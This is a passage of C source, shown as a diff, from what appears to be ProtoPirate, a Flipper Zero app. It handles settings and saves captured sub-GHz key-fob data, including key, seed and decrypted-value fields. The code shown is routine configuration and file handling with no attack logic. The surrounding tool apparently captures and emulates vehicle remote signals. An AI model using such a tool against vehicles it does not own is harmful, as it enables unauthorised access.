|
||||
void protopirate_settings_set_defaults(ProtoPirateSettings* settings) {
|
||||
settings->frequency = 433920000;
|
||||
settings->preset_index = 0;
|
||||
settings->tx_power = 0;
|
||||
settings->auto_save = false;
|
||||
settings->hopping_enabled = false;
|
||||
settings->emulate_feature_enabled = false;
|
||||
settings->dual_freq_a = 433920000;
|
||||
settings->dual_freq_b = 433920000;
|
||||
settings->dual_preset_a = 0xFF;
|
||||
settings->dual_preset_b = 0xFF;
|
||||
settings->dual_preset_name_a[0] = '\0';
|
||||
settings->dual_preset_name_b[0] = '\0';
|
||||
settings->shield_freq = 433920000;
|
||||
settings->shield_preset_index = 0;
|
||||
settings->shield_tx_offset_index = 3;
|
||||
settings->shield_tx_power = 0;
|
||||
}
|
||||
|
||||
void protopirate_settings_load(ProtoPirateSettings* settings) {
|
||||
// Set defaults first
|
||||
protopirate_settings_set_defaults(settings);
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* ff = flipper_format_file_alloc(storage);
|
||||
|
||||
do {
|
||||
if(!flipper_format_file_open_existing(ff, PROTOPIRATE_SETTINGS_FILE)) {
|
||||
FURI_LOG_I(TAG, "Settings file not found, using defaults");
|
||||
break;
|
||||
}
|
||||
|
||||
FuriString* header = furi_string_alloc();
|
||||
uint32_t version = 0;
|
||||
|
||||
if(!flipper_format_read_header(ff, header, &version)) {
|
||||
FURI_LOG_W(TAG, "Failed to read settings header");
|
||||
furi_string_free(header);
|
||||
break;
|
||||
}
|
||||
|
||||
if(version != SETTINGS_FILE_VERSION) {
|
||||
FURI_LOG_W(TAG, "Unsupported settings version %lu", (unsigned long)version);
|
||||
furi_string_free(header);
|
||||
break;
|
||||
}
|
||||
|
||||
if(furi_string_cmp_str(header, SETTINGS_FILE_HEADER) != 0) {
|
||||
FURI_LOG_W(TAG, "Invalid settings file header");
|
||||
furi_string_free(header);
|
||||
break;
|
||||
}
|
||||
|
||||
furi_string_free(header);
|
||||
|
||||
// Read frequency
|
||||
if(!flipper_format_read_uint32(ff, FF_FREQUENCY, &settings->frequency, 1)) {
|
||||
FURI_LOG_W(TAG, "Failed to read frequency, using default");
|
||||
settings->frequency = 433920000;
|
||||
}
|
||||
|
||||
// Read preset index
|
||||
uint32_t preset_temp = 0;
|
||||
if(!flipper_format_read_uint32(ff, "PresetIndex", &preset_temp, 1)) {
|
||||
FURI_LOG_W(TAG, "Failed to read preset index, using default");
|
||||
preset_temp = 0;
|
||||
}
|
||||
settings->preset_index = (uint8_t)preset_temp;
|
||||
|
||||
// Read auto-save
|
||||
uint32_t auto_save_temp = 0;
|
||||
if(!flipper_format_read_uint32(ff, "AutoSave", &auto_save_temp, 1)) {
|
||||
FURI_LOG_W(TAG, "Failed to read auto-save, using default");
|
||||
auto_save_temp = 0;
|
||||
}
|
||||
settings->auto_save = (auto_save_temp == 1);
|
||||
|
||||
// Read tx-power
|
||||
uint32_t tx_power_temp = 0;
|
||||
if(!flipper_format_read_uint32(ff, "TXPower", &tx_power_temp, 1)) {
|
||||
FURI_LOG_W(TAG, "Failed to read TXPower, using default");
|
||||
tx_power_temp = 0;
|
||||
}
|
||||
settings->tx_power = (uint8_t)tx_power_temp;
|
||||
|
||||
// Read hopping
|
||||
uint32_t hopping_temp = 0;
|
||||
if(!flipper_format_read_uint32(ff, "Hopping", &hopping_temp, 1)) {
|
||||
FURI_LOG_W(TAG, "Failed to read hopping, using default");
|
||||
hopping_temp = 0;
|
||||
}
|
||||
settings->hopping_enabled = (hopping_temp == 1);
|
||||
|
||||
uint32_t emulate_temp = 0;
|
||||
if(!flipper_format_read_uint32(ff, "EmulateFeature", &emulate_temp, 1)) {
|
||||
FURI_LOG_I(TAG, "EmulateFeature key missing, defaulting to disabled");
|
||||
emulate_temp = 0;
|
||||
}
|
||||
settings->emulate_feature_enabled = (emulate_temp == 1);
|
||||
|
||||
flipper_format_rewind(ff);
|
||||
flipper_format_read_uint32(ff, "DualFreqA", &settings->dual_freq_a, 1);
|
||||
flipper_format_rewind(ff);
|
||||
flipper_format_read_uint32(ff, "DualFreqB", &settings->dual_freq_b, 1);
|
||||
uint32_t dual_preset_temp = 0;
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, "DualPresetA", &dual_preset_temp, 1)) {
|
||||
settings->dual_preset_a = (uint8_t)dual_preset_temp;
|
||||
}
|
||||
dual_preset_temp = 0;
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, "DualPresetB", &dual_preset_temp, 1)) {
|
||||
settings->dual_preset_b = (uint8_t)dual_preset_temp;
|
||||
}
|
||||
FuriString* preset_name = furi_string_alloc();
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_string(ff, "DualPresetNameA", preset_name)) {
|
||||
snprintf(
|
||||
settings->dual_preset_name_a,
|
||||
sizeof(settings->dual_preset_name_a),
|
||||
"%s",
|
||||
furi_string_get_cstr(preset_name));
|
||||
}
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_string(ff, "DualPresetNameB", preset_name)) {
|
||||
snprintf(
|
||||
settings->dual_preset_name_b,
|
||||
sizeof(settings->dual_preset_name_b),
|
||||
"%s",
|
||||
furi_string_get_cstr(preset_name));
|
||||
}
|
||||
furi_string_free(preset_name);
|
||||
|
||||
flipper_format_rewind(ff);
|
||||
flipper_format_read_uint32(ff, "ShieldFreq", &settings->shield_freq, 1);
|
||||
dual_preset_temp = 0;
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, "ShieldPreset", &dual_preset_temp, 1)) {
|
||||
settings->shield_preset_index = (uint8_t)dual_preset_temp;
|
||||
}
|
||||
dual_preset_temp = 0;
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, "ShieldTxOffset", &dual_preset_temp, 1)) {
|
||||
settings->shield_tx_offset_index = (uint8_t)dual_preset_temp;
|
||||
}
|
||||
dual_preset_temp = 0;
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, "ShieldTxPower", &dual_preset_temp, 1)) {
|
||||
settings->shield_tx_power = (uint8_t)dual_preset_temp;
|
||||
}
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Settings loaded: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
|
||||
settings->frequency,
|
||||
settings->preset_index,
|
||||
settings->auto_save,
|
||||
settings->hopping_enabled,
|
||||
settings->emulate_feature_enabled);
|
||||
|
||||
} while(false);
|
||||
|
||||
flipper_format_free(ff);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
void protopirate_settings_save(ProtoPirateSettings* settings) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
// Ensure directory exists
|
||||
storage_simply_mkdir(storage, PROTOPIRATE_SETTINGS_DIR);
|
||||
|
||||
FlipperFormat* ff = flipper_format_file_alloc(storage);
|
||||
|
||||
do {
|
||||
if(!flipper_format_file_open_always(ff, PROTOPIRATE_SETTINGS_FILE)) {
|
||||
FURI_LOG_E(TAG, "Failed to open settings file for writing");
|
||||
break;
|
||||
}
|
||||
|
||||
if(!flipper_format_write_header_cstr(ff, SETTINGS_FILE_HEADER, SETTINGS_FILE_VERSION)) {
|
||||
FURI_LOG_E(TAG, "Failed to write settings header");
|
||||
break;
|
||||
}
|
||||
|
||||
if(!flipper_format_write_uint32(ff, FF_FREQUENCY, &settings->frequency, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to write frequency");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t preset_temp = settings->preset_index;
|
||||
if(!flipper_format_write_uint32(ff, "PresetIndex", &preset_temp, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to write preset index");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t auto_save_temp = settings->auto_save ? 1 : 0;
|
||||
if(!flipper_format_write_uint32(ff, "AutoSave", &auto_save_temp, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to write auto-save");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t tx_power_temp = settings->tx_power;
|
||||
if(!flipper_format_write_uint32(ff, "TXPower", &tx_power_temp, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to write TX Power");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t hopping_temp = settings->hopping_enabled ? 1 : 0;
|
||||
if(!flipper_format_write_uint32(ff, "Hopping", &hopping_temp, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to write hopping");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t emulate_temp = settings->emulate_feature_enabled ? 1 : 0;
|
||||
if(!flipper_format_write_uint32(ff, "EmulateFeature", &emulate_temp, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to write emulate feature flag");
|
||||
break;
|
||||
}
|
||||
|
||||
flipper_format_write_uint32(ff, "DualFreqA", &settings->dual_freq_a, 1);
|
||||
flipper_format_write_uint32(ff, "DualFreqB", &settings->dual_freq_b, 1);
|
||||
uint32_t dual_preset_a_temp = settings->dual_preset_a;
|
||||
flipper_format_write_uint32(ff, "DualPresetA", &dual_preset_a_temp, 1);
|
||||
uint32_t dual_preset_b_temp = settings->dual_preset_b;
|
||||
flipper_format_write_uint32(ff, "DualPresetB", &dual_preset_b_temp, 1);
|
||||
flipper_format_write_string_cstr(
|
||||
ff, "DualPresetNameA", settings->dual_preset_name_a);
|
||||
flipper_format_write_string_cstr(
|
||||
ff, "DualPresetNameB", settings->dual_preset_name_b);
|
||||
flipper_format_write_uint32(ff, "ShieldFreq", &settings->shield_freq, 1);
|
||||
uint32_t shield_preset_temp = settings->shield_preset_index;
|
||||
flipper_format_write_uint32(ff, "ShieldPreset", &shield_preset_temp, 1);
|
||||
uint32_t shield_offset_temp = settings->shield_tx_offset_index;
|
||||
flipper_format_write_uint32(ff, "ShieldTxOffset", &shield_offset_temp, 1);
|
||||
uint32_t shield_power_temp = settings->shield_tx_power;
|
||||
flipper_format_write_uint32(ff, "ShieldTxPower", &shield_power_temp, 1);
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Settings saved: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
|
||||
settings->frequency,
|
||||
settings->preset_index,
|
||||
settings->auto_save,
|
||||
settings->hopping_enabled,
|
||||
settings->emulate_feature_enabled);
|
||||
|
||||
} while(false);
|
||||
|
||||
flipper_format_free(ff);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// helpers/protopirate_settings.h
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define PROTOPIRATE_SETTINGS_FILE APP_DATA_PATH("settings.txt")
|
||||
#define PROTOPIRATE_SETTINGS_DIR APP_DATA_PATH()
|
||||
#define PROTOPIRATE_PRESET_NAME_MAX 64U
|
||||
|
||||
typedef struct {
|
||||
uint32_t frequency;
|
||||
uint8_t preset_index;
|
||||
uint8_t tx_power;
|
||||
bool auto_save;
|
||||
bool hopping_enabled;
|
||||
bool emulate_feature_enabled;
|
||||
uint32_t dual_freq_a;
|
||||
uint32_t dual_freq_b;
|
||||
uint8_t dual_preset_a;
|
||||
uint8_t dual_preset_b;
|
||||
char dual_preset_name_a[PROTOPIRATE_PRESET_NAME_MAX];
|
||||
char dual_preset_name_b[PROTOPIRATE_PRESET_NAME_MAX];
|
||||
uint32_t shield_freq;
|
||||
uint8_t shield_preset_index;
|
||||
uint8_t shield_tx_offset_index;
|
||||
uint8_t shield_tx_power;
|
||||
} ProtoPirateSettings;
|
||||
|
||||
void protopirate_settings_load(ProtoPirateSettings* settings);
|
||||
void protopirate_settings_save(ProtoPirateSettings* settings);
|
||||
void protopirate_settings_set_defaults(ProtoPirateSettings* settings);
|
||||
@@ -0,0 +1,558 @@
|
||||
// helpers/protopirate_storage.c
|
||||
#include "protopirate_storage.h"
|
||||
#include "../defines.h"
|
||||
#include "../protocols/protocols_common.h"
|
||||
|
||||
#define TAG "ProtoPirateStorage"
|
||||
|
||||
bool protopirate_storage_init(void) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
bool result = storage_simply_mkdir(storage, PROTOPIRATE_APP_FOLDER);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
return result;
|
||||
}
|
||||
|
||||
void protopirate_storage_wipe_history_cache(void) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
if(storage_dir_exists(storage, PROTOPIRATE_HISTORY_FOLDER)) {
|
||||
storage_simply_remove_recursive(storage, PROTOPIRATE_HISTORY_FOLDER);
|
||||
FURI_LOG_I(TAG, "Wiped history cache");
|
||||
}
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
void protopirate_storage_purge_temp_history_at_startup(void) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
if(storage_dir_exists(storage, PROTOPIRATE_HISTORY_FOLDER)) {
|
||||
storage_simply_remove_recursive(storage, PROTOPIRATE_HISTORY_FOLDER);
|
||||
}
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
bool protopirate_storage_ensure_history_folder(void) {
|
||||
if(!protopirate_storage_init()) {
|
||||
return false;
|
||||
}
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
storage_simply_mkdir(storage, PROTOPIRATE_CACHE_FOLDER);
|
||||
bool ok = storage_simply_mkdir(storage, PROTOPIRATE_HISTORY_FOLDER);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
return ok;
|
||||
}
|
||||
|
||||
void protopirate_storage_build_history_path(uint32_t seq, FuriString* out) {
|
||||
furi_check(out);
|
||||
furi_string_printf(
|
||||
out,
|
||||
"%s/hist_%08lu%s",
|
||||
PROTOPIRATE_HISTORY_FOLDER,
|
||||
(unsigned long)seq,
|
||||
PROTOPIRATE_APP_EXTENSION);
|
||||
}
|
||||
|
||||
bool protopirate_storage_save_history_capture(
|
||||
FlipperFormat* flipper_format,
|
||||
uint32_t seq,
|
||||
FuriString* out_path) {
|
||||
furi_check(flipper_format);
|
||||
furi_check(out_path);
|
||||
|
||||
if(!protopirate_storage_ensure_history_folder()) {
|
||||
FURI_LOG_E(TAG, "History folder missing");
|
||||
return false;
|
||||
}
|
||||
|
||||
protopirate_storage_build_history_path(seq, out_path);
|
||||
|
||||
return protopirate_storage_save_capture_to_path(
|
||||
flipper_format, furi_string_get_cstr(out_path));
|
||||
}
|
||||
|
||||
static void sanitize_filename(const char* input, char* output, size_t output_size) {
|
||||
if(!output || output_size == 0) return;
|
||||
if(!input) {
|
||||
output[0] = '\0';
|
||||
return;
|
||||
}
|
||||
size_t i = 0;
|
||||
size_t j = 0;
|
||||
while(input[i] != '\0' && j < output_size - 1) {
|
||||
char c = input[i];
|
||||
if(c == '/' || c == '\\' || c == ':' || c == '*' || c == '?' || c == '"' || c == '<' ||
|
||||
c == '>' || c == '|' || c == ' ') {
|
||||
output[j] = '_';
|
||||
} else {
|
||||
output[j] = c;
|
||||
}
|
||||
i++;
|
||||
j++;
|
||||
}
|
||||
output[j] = '\0';
|
||||
}
|
||||
|
||||
bool protopirate_storage_get_next_filename(const char* protocol_name, FuriString* out_filename) {
|
||||
if(!protocol_name || !out_filename) return false;
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FuriString* temp_path = furi_string_alloc();
|
||||
uint32_t index = 0;
|
||||
bool found = false;
|
||||
|
||||
char safe_name[64];
|
||||
sanitize_filename(protocol_name, safe_name, sizeof(safe_name));
|
||||
|
||||
while(!found && index <= 999) {
|
||||
furi_string_printf(
|
||||
temp_path,
|
||||
"%s/%s_%03lu%s",
|
||||
PROTOPIRATE_APP_FOLDER,
|
||||
safe_name,
|
||||
(unsigned long)index,
|
||||
PROTOPIRATE_APP_EXTENSION);
|
||||
|
||||
if(!storage_file_exists(storage, furi_string_get_cstr(temp_path))) {
|
||||
furi_string_set(out_filename, temp_path);
|
||||
found = true;
|
||||
} else {
|
||||
index++;
|
||||
}
|
||||
}
|
||||
|
||||
furi_string_free(temp_path);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
return found;
|
||||
}
|
||||
|
||||
static const char* const protopirate_storage_base_u32_fields[] = {
|
||||
"TE",
|
||||
FF_SERIAL,
|
||||
FF_BTN,
|
||||
"BtnSig",
|
||||
FF_CNT,
|
||||
"Extra",
|
||||
"ExtraBit",
|
||||
"Extra_bits",
|
||||
"Tail",
|
||||
"Checksum",
|
||||
"CRC",
|
||||
FF_TYPE,
|
||||
};
|
||||
|
||||
static const char* const protopirate_storage_tail_u32_fields[] = {
|
||||
"DataHi",
|
||||
"DataLo",
|
||||
"RawCnt",
|
||||
"Encrypted",
|
||||
"Decrypted",
|
||||
"KIAVersion",
|
||||
"Checksum",
|
||||
};
|
||||
|
||||
static bool protopirate_storage_fail(const char* action, const char* key) {
|
||||
UNUSED(action);
|
||||
UNUSED(key);
|
||||
FURI_LOG_E(TAG, "%s failed: %s", action, key);
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool
|
||||
protopirate_storage_get_count(FlipperFormat* flipper_format, const char* key, uint32_t* count) {
|
||||
*count = 0;
|
||||
flipper_format_rewind(flipper_format);
|
||||
return flipper_format_get_value_count(flipper_format, key, count) && (*count > 0);
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_string_optional(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
FuriString* value) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_string(flipper_format, key, value)) {
|
||||
return true;
|
||||
}
|
||||
if(!flipper_format_write_string(save_file, key, value)) {
|
||||
return protopirate_storage_fail("Write", key);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_string_if_present(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
FuriString* value) {
|
||||
uint32_t count = 0;
|
||||
if(!protopirate_storage_get_count(flipper_format, key, &count)) {
|
||||
return true;
|
||||
}
|
||||
if(!flipper_format_read_string(flipper_format, key, value)) {
|
||||
return protopirate_storage_fail("Read", key);
|
||||
}
|
||||
if(!flipper_format_write_string(save_file, key, value)) {
|
||||
return protopirate_storage_fail("Write", key);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_u32_optional(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key) {
|
||||
uint32_t value = 0;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_uint32(flipper_format, key, &value, 1)) {
|
||||
return true;
|
||||
}
|
||||
if(!flipper_format_write_uint32(save_file, key, &value, 1)) {
|
||||
return protopirate_storage_fail("Write", key);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_u32_fields(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* const* fields,
|
||||
size_t field_count) {
|
||||
for(size_t i = 0; i < field_count; i++) {
|
||||
if(!protopirate_storage_copy_u32_optional(save_file, flipper_format, fields[i])) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_hex_fixed(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
size_t len,
|
||||
bool* copied) {
|
||||
uint8_t data[8];
|
||||
furi_check(len <= sizeof(data));
|
||||
if(copied) {
|
||||
*copied = false;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_hex(flipper_format, key, data, len)) {
|
||||
return true;
|
||||
}
|
||||
if(copied) {
|
||||
*copied = true;
|
||||
}
|
||||
if(!flipper_format_write_hex(save_file, key, data, len)) {
|
||||
return protopirate_storage_fail("Write", key);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_u32_array(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
uint32_t count,
|
||||
uint32_t max_count) {
|
||||
if(count >= max_count) {
|
||||
FURI_LOG_E(TAG, "%s too large: %lu", key, (unsigned long)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
uint32_t* data = malloc(sizeof(uint32_t) * count);
|
||||
if(!data) {
|
||||
FURI_LOG_E(TAG, "Malloc failed: %s (%lu u32)", key, (unsigned long)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool status = false;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_uint32(flipper_format, key, data, count)) {
|
||||
protopirate_storage_fail("Read", key);
|
||||
} else if(!flipper_format_write_uint32(save_file, key, data, count)) {
|
||||
protopirate_storage_fail("Write", key);
|
||||
} else {
|
||||
status = true;
|
||||
}
|
||||
|
||||
free(data);
|
||||
return status;
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_u32_array_if_present(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
uint32_t max_count) {
|
||||
uint32_t count = 0;
|
||||
if(!protopirate_storage_get_count(flipper_format, key, &count)) {
|
||||
return true;
|
||||
}
|
||||
return protopirate_storage_copy_u32_array(save_file, flipper_format, key, count, max_count);
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_hex_array_if_present(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
uint32_t max_count) {
|
||||
uint32_t count = 0;
|
||||
if(!protopirate_storage_get_count(flipper_format, key, &count)) {
|
||||
return true;
|
||||
}
|
||||
if(count >= max_count) {
|
||||
FURI_LOG_E(TAG, "%s too large: %lu", key, (unsigned long)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t* data = malloc(count);
|
||||
if(!data) {
|
||||
FURI_LOG_E(TAG, "Malloc failed: %s (%lu bytes)", key, (unsigned long)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool status = false;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_hex(flipper_format, key, data, count)) {
|
||||
protopirate_storage_fail("Read", key);
|
||||
} else if(!flipper_format_write_hex(save_file, key, data, count)) {
|
||||
protopirate_storage_fail("Write", key);
|
||||
} else {
|
||||
status = true;
|
||||
}
|
||||
|
||||
free(data);
|
||||
return status;
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_key(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
FuriString* value) {
|
||||
uint32_t count = 0;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_string(flipper_format, FF_KEY, value)) {
|
||||
if(!flipper_format_write_string(save_file, FF_KEY, value)) {
|
||||
return protopirate_storage_fail("Write", FF_KEY);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
if(protopirate_storage_get_count(flipper_format, FF_KEY, &count)) {
|
||||
return protopirate_storage_copy_u32_array(save_file, flipper_format, FF_KEY, count, 1024);
|
||||
}
|
||||
|
||||
return protopirate_storage_copy_hex_fixed(save_file, flipper_format, FF_KEY, 8, NULL);
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_hex_or_u32(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
size_t hex_len) {
|
||||
bool copied = false;
|
||||
if(!protopirate_storage_copy_hex_fixed(save_file, flipper_format, key, hex_len, &copied)) {
|
||||
return false;
|
||||
}
|
||||
return copied || protopirate_storage_copy_u32_optional(save_file, flipper_format, key);
|
||||
}
|
||||
|
||||
static bool protopirate_storage_copy_key_2(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format,
|
||||
FuriString* value) {
|
||||
bool copied = false;
|
||||
if(!protopirate_storage_copy_hex_fixed(save_file, flipper_format, "Key_2", 8, &copied)) {
|
||||
return false;
|
||||
}
|
||||
if(copied) {
|
||||
return true;
|
||||
}
|
||||
return protopirate_storage_copy_string_optional(save_file, flipper_format, "Key_2", value) &&
|
||||
protopirate_storage_copy_u32_optional(save_file, flipper_format, "Key_2");
|
||||
}
|
||||
|
||||
static bool protopirate_storage_write_capture_data(
|
||||
FlipperFormat* save_file,
|
||||
FlipperFormat* flipper_format) {
|
||||
furi_check(save_file);
|
||||
furi_check(flipper_format);
|
||||
|
||||
FuriString* string_value = furi_string_alloc();
|
||||
if(!string_value) {
|
||||
FURI_LOG_E(TAG, "Failed to alloc string_value");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool status = false;
|
||||
do {
|
||||
if(!protopirate_storage_copy_string_optional(
|
||||
save_file, flipper_format, FF_PROTOCOL, string_value))
|
||||
break;
|
||||
if(!protopirate_storage_copy_u32_optional(save_file, flipper_format, FF_BIT)) break;
|
||||
if(!protopirate_storage_copy_key(save_file, flipper_format, string_value)) break;
|
||||
if(!protopirate_storage_copy_u32_optional(save_file, flipper_format, FF_FREQUENCY)) break;
|
||||
if(!protopirate_storage_copy_string_optional(
|
||||
save_file, flipper_format, FF_PRESET, string_value))
|
||||
break;
|
||||
if(!protopirate_storage_copy_string_optional(
|
||||
save_file, flipper_format, "RadioDevice", string_value))
|
||||
break;
|
||||
if(!protopirate_storage_copy_string_if_present(
|
||||
save_file, flipper_format, "Custom_preset_module", string_value))
|
||||
break;
|
||||
if(!protopirate_storage_copy_hex_array_if_present(
|
||||
save_file, flipper_format, "Custom_preset_data", 1024))
|
||||
break;
|
||||
if(!protopirate_storage_copy_u32_fields(
|
||||
save_file,
|
||||
flipper_format,
|
||||
protopirate_storage_base_u32_fields,
|
||||
COUNT_OF(protopirate_storage_base_u32_fields)))
|
||||
break;
|
||||
if(!protopirate_storage_copy_hex_fixed(save_file, flipper_format, "Key2", 8, NULL)) break;
|
||||
if(!protopirate_storage_copy_u32_optional(save_file, flipper_format, "KeyIdx")) break;
|
||||
if(!protopirate_storage_copy_u32_optional(save_file, flipper_format, "Seed")) break;
|
||||
if(!protopirate_storage_copy_hex_or_u32(save_file, flipper_format, "ValidationField", 2))
|
||||
break;
|
||||
if(!protopirate_storage_copy_key_2(save_file, flipper_format, string_value)) break;
|
||||
if(!protopirate_storage_copy_hex_or_u32(save_file, flipper_format, "Key_3", 4)) break;
|
||||
if(!protopirate_storage_copy_u32_optional(save_file, flipper_format, "Key_4")) break;
|
||||
if(!protopirate_storage_copy_u32_optional(save_file, flipper_format, "Fx")) break;
|
||||
if(!protopirate_storage_copy_hex_fixed(save_file, flipper_format, "Key1", 8, NULL)) break;
|
||||
if(!protopirate_storage_copy_u32_optional(save_file, flipper_format, "Check")) break;
|
||||
if(!protopirate_storage_copy_u32_array_if_present(
|
||||
save_file, flipper_format, "RAW_Data", 4096))
|
||||
break;
|
||||
if(!protopirate_storage_copy_u32_fields(
|
||||
save_file,
|
||||
flipper_format,
|
||||
protopirate_storage_tail_u32_fields,
|
||||
COUNT_OF(protopirate_storage_tail_u32_fields)))
|
||||
break;
|
||||
if(!protopirate_storage_copy_string_optional(
|
||||
save_file, flipper_format, FF_MANUFACTURE, string_value))
|
||||
break;
|
||||
status = true;
|
||||
} while(false);
|
||||
|
||||
furi_string_free(string_value);
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
bool protopirate_storage_save_capture_to_path(FlipperFormat* flipper_format, const char* full_path) {
|
||||
furi_check(flipper_format);
|
||||
furi_check(full_path);
|
||||
|
||||
if(!protopirate_storage_init()) {
|
||||
FURI_LOG_E(TAG, "Failed to create app folder");
|
||||
return false;
|
||||
}
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* save_file = flipper_format_file_alloc(storage);
|
||||
bool result = false;
|
||||
|
||||
do {
|
||||
// Remove if it already exists (overwrite)
|
||||
if(storage_file_exists(storage, full_path)) {
|
||||
storage_simply_remove(storage, full_path);
|
||||
}
|
||||
|
||||
if(!flipper_format_file_open_new(save_file, full_path)) {
|
||||
FURI_LOG_E(TAG, "Failed to create file: %s", full_path);
|
||||
break;
|
||||
}
|
||||
|
||||
if(!flipper_format_write_header_cstr(save_file, "Flipper SubGhz Key File", 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to write header");
|
||||
break;
|
||||
}
|
||||
|
||||
if(!protopirate_storage_write_capture_data(save_file, flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Failed to write capture data");
|
||||
break;
|
||||
}
|
||||
|
||||
result = true;
|
||||
FURI_LOG_I(TAG, "Saved capture to %s", full_path);
|
||||
|
||||
} while(false);
|
||||
|
||||
flipper_format_free(save_file);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
return result;
|
||||
}
|
||||
|
||||
void protopirate_storage_delete_temp(void) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
if(storage_file_exists(storage, PROTOPIRATE_TEMP_FILE)) {
|
||||
storage_simply_remove(storage, PROTOPIRATE_TEMP_FILE);
|
||||
FURI_LOG_I(TAG, "Deleted temp file");
|
||||
}
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
bool protopirate_storage_save_capture(
|
||||
FlipperFormat* flipper_format,
|
||||
const char* protocol_name,
|
||||
FuriString* out_path) {
|
||||
furi_check(flipper_format);
|
||||
furi_check(protocol_name);
|
||||
furi_check(out_path);
|
||||
|
||||
if(!protopirate_storage_init()) {
|
||||
FURI_LOG_E(TAG, "Failed to create app folder");
|
||||
return false;
|
||||
}
|
||||
|
||||
